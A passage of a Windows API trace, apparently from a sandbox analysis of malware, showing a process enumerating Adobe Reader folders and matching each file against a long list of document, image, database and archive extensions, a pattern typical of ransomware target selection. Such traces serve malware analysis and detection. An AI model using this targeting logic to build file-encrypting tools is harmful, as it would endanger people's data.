(lpString=".dbx") returned 4 [0271.725] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dc3") returned 4 [0271.725] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dcm") returned 4 [0271.725] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dcr") returned 4 [0271.725] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".der") returned 4 [0271.725] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dib") returned 4 [0271.725] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dic") returned 4 [0271.725] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".dif") returned 4 [0271.725] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".divx") returned 5 [0271.725] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.725] lstrlenW (lpString=".djvu") returned 5 [0271.725] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.725] lstrlenW (lpString=".dng") returned 4 [0271.725] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.725] lstrlenW (lpString=".doc") returned 4 [0271.725] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".docm") returned 5 [0271.726] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.726] lstrlenW (lpString=".docx") returned 5 [0271.726] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.726] lstrlenW (lpString=".dot") returned 4 [0271.726] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dotm") returned 5 [0271.726] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.726] lstrlenW (lpString=".dotx") returned 5 [0271.726] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.726] lstrlenW (lpString=".dpx") returned 4 [0271.726] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dqy") returned 4 [0271.726] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dsn") returned 4 [0271.726] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dt") returned 3 [0271.726] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.726] lstrlenW (lpString=".dtd") returned 4 [0271.726] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dwg") returned 4 [0271.726] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dwt") returned 4 [0271.726] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.726] lstrlenW (lpString=".dx") returned 3 [0271.726] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.726] lstrlenW (lpString=".dxf") returned 4 [0271.727] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".edml") returned 5 [0271.727] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.727] lstrlenW (lpString=".efd") returned 4 [0271.727] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".elf") returned 4 [0271.727] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".emf") returned 4 [0271.727] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".emz") returned 4 [0271.727] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".epf") returned 4 [0271.727] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".eps") returned 4 [0271.727] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".epsf") returned 5 [0271.727] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.727] lstrlenW (lpString=".epsp") returned 5 [0271.727] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.727] lstrlenW (lpString=".erf") returned 4 [0271.727] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".exr") returned 4 [0271.727] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.727] lstrlenW (lpString=".f4v") returned 4 [0271.727] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.728] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.728] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0271.728] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.728] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0271.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0271.730] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.730] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.730] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.730] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0271.730] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.730] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0271.730] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0271.731] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.731] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.731] lstrlenW (lpString="ui-strings.js") returned 13 [0271.731] lstrlenW (lpString=".1cd") returned 4 [0271.731] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.731] lstrlenW (lpString=".3ds") returned 4 [0271.731] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.731] lstrlenW (lpString=".3fr") returned 4 [0271.731] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.731] lstrlenW (lpString=".3g2") returned 4 [0271.731] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.941] lstrlenW (lpString=".3gp") returned 4 [0271.941] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.941] lstrlenW (lpString=".7z") returned 3 [0271.941] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.941] lstrlenW (lpString=".accda") returned 6 [0271.941] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".accdb") returned 6 [0271.941] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".accdc") returned 6 [0271.941] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".accde") returned 6 [0271.941] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".accdt") returned 6 [0271.941] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".accdw") returned 6 [0271.941] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.941] lstrlenW (lpString=".adb") returned 4 [0271.941] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".adp") returned 4 [0271.942] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai") returned 3 [0271.942] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.942] lstrlenW (lpString=".ai3") returned 4 [0271.942] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai4") returned 4 [0271.942] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai5") returned 4 [0271.942] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai6") returned 4 [0271.942] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai7") returned 4 [0271.942] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ai8") returned 4 [0271.942] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".anim") returned 5 [0271.942] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.942] lstrlenW (lpString=".arw") returned 4 [0271.942] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".as") returned 3 [0271.942] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.942] lstrlenW (lpString=".asa") returned 4 [0271.942] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".asc") returned 4 [0271.942] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.942] lstrlenW (lpString=".ascx") returned 5 [0271.942] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.943] lstrlenW (lpString=".asm") returned 4 [0271.943] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".asmx") returned 5 [0271.943] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.943] lstrlenW (lpString=".asp") returned 4 [0271.943] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".aspx") returned 5 [0271.943] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.943] lstrlenW (lpString=".asr") returned 4 [0271.943] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".asx") returned 4 [0271.943] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".avi") returned 4 [0271.943] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".avs") returned 4 [0271.943] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".backup") returned 7 [0271.943] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.943] lstrlenW (lpString=".bak") returned 4 [0271.943] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".bay") returned 4 [0271.943] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.943] lstrlenW (lpString=".bd") returned 3 [0271.943] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.944] lstrlenW (lpString=".bin") returned 4 [0271.944] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".bmp") returned 4 [0271.944] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".bz2") returned 4 [0271.944] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".c") returned 2 [0271.944] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.944] lstrlenW (lpString=".cdr") returned 4 [0271.944] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".cer") returned 4 [0271.944] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".cf") returned 3 [0271.944] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.944] lstrlenW (lpString=".cfc") returned 4 [0271.944] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".cfm") returned 4 [0271.944] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".cfml") returned 5 [0271.944] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.944] lstrlenW (lpString=".cfu") returned 4 [0271.944] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".chm") returned 4 [0271.944] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.944] lstrlenW (lpString=".cin") returned 4 [0271.944] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.945] lstrlenW (lpString=".class") returned 6 [0271.945] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.945] lstrlenW (lpString=".clx") returned 4 [0271.945] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".config") returned 7 [0271.946] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.946] lstrlenW (lpString=".cpp") returned 4 [0271.946] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".cr2") returned 4 [0271.946] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".crt") returned 4 [0271.946] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".crw") returned 4 [0271.946] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".cs") returned 3 [0271.946] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.946] lstrlenW (lpString=".css") returned 4 [0271.946] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".csv") returned 4 [0271.946] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".cub") returned 4 [0271.946] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".dae") returned 4 [0271.946] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".dat") returned 4 [0271.946] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".db") returned 3 [0271.946] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.946] lstrlenW (lpString=".dbf") returned 4 [0271.946] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".dbx") returned 4 [0271.946] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".dc3") returned 4 [0271.946] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.946] lstrlenW (lpString=".dcm") returned 4 [0271.947] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".dcr") returned 4 [0271.947] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".der") returned 4 [0271.947] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".dib") returned 4 [0271.947] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".dic") returned 4 [0271.947] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".dif") returned 4 [0271.947] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".divx") returned 5 [0271.947] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.947] lstrlenW (lpString=".djvu") returned 5 [0271.947] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.947] lstrlenW (lpString=".dng") returned 4 [0271.947] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".doc") returned 4 [0271.947] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.947] lstrlenW (lpString=".docm") returned 5 [0271.947] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.947] lstrlenW (lpString=".docx") returned 5 [0271.948] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.948] lstrlenW (lpString=".dot") returned 4 [0271.948] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dotm") returned 5 [0271.948] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.948] lstrlenW (lpString=".dotx") returned 5 [0271.948] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.948] lstrlenW (lpString=".dpx") returned 4 [0271.948] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dqy") returned 4 [0271.948] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dsn") returned 4 [0271.948] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dt") returned 3 [0271.948] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.948] lstrlenW (lpString=".dtd") returned 4 [0271.948] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dwg") returned 4 [0271.948] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dwt") returned 4 [0271.948] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".dx") returned 3 [0271.948] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.948] lstrlenW (lpString=".dxf") returned 4 [0271.948] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.948] lstrlenW (lpString=".edml") returned 5 [0271.948] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.948] lstrlenW (lpString=".efd") returned 4 [0271.949] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".elf") returned 4 [0271.949] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".emf") returned 4 [0271.949] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".emz") returned 4 [0271.949] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".epf") returned 4 [0271.949] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".eps") returned 4 [0271.949] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".epsf") returned 5 [0271.949] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.949] lstrlenW (lpString=".epsp") returned 5 [0271.949] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.949] lstrlenW (lpString=".erf") returned 4 [0271.949] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".exr") returned 4 [0271.949] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".f4v") returned 4 [0271.949] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".fido") returned 5 [0271.949] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.949] lstrlenW (lpString=".flm") returned 4 [0271.949] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.949] lstrlenW (lpString=".flv") returned 4 [0271.949] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".frm") returned 4 [0271.950] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".fxg") returned 4 [0271.950] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".geo") returned 4 [0271.950] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".gif") returned 4 [0271.950] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".grs") returned 4 [0271.950] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".gz") returned 3 [0271.950] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.950] lstrlenW (lpString=".h") returned 2 [0271.950] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.950] lstrlenW (lpString=".hdr") returned 4 [0271.950] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".hpp") returned 4 [0271.950] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".hta") returned 4 [0271.950] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".htc") returned 4 [0271.950] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".htm") returned 4 [0271.950] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.950] lstrlenW (lpString=".html") returned 5 [0271.950] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.950] lstrlenW (lpString=".icb") returned 4 [0271.950] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".ics") returned 4 [0271.951] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".iff") returned 4 [0271.951] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".inc") returned 4 [0271.951] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".indd") returned 5 [0271.951] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.951] lstrlenW (lpString=".ini") returned 4 [0271.951] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".iqy") returned 4 [0271.951] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".j2c") returned 4 [0271.951] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".j2k") returned 4 [0271.951] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".java") returned 5 [0271.951] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.951] lstrlenW (lpString=".jp2") returned 4 [0271.951] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".jpc") returned 4 [0271.951] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".jpe") returned 4 [0271.951] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.951] lstrlenW (lpString=".jpeg") returned 5 [0271.951] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.951] lstrlenW (lpString=".jpf") returned 4 [0271.952] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.952] lstrlenW 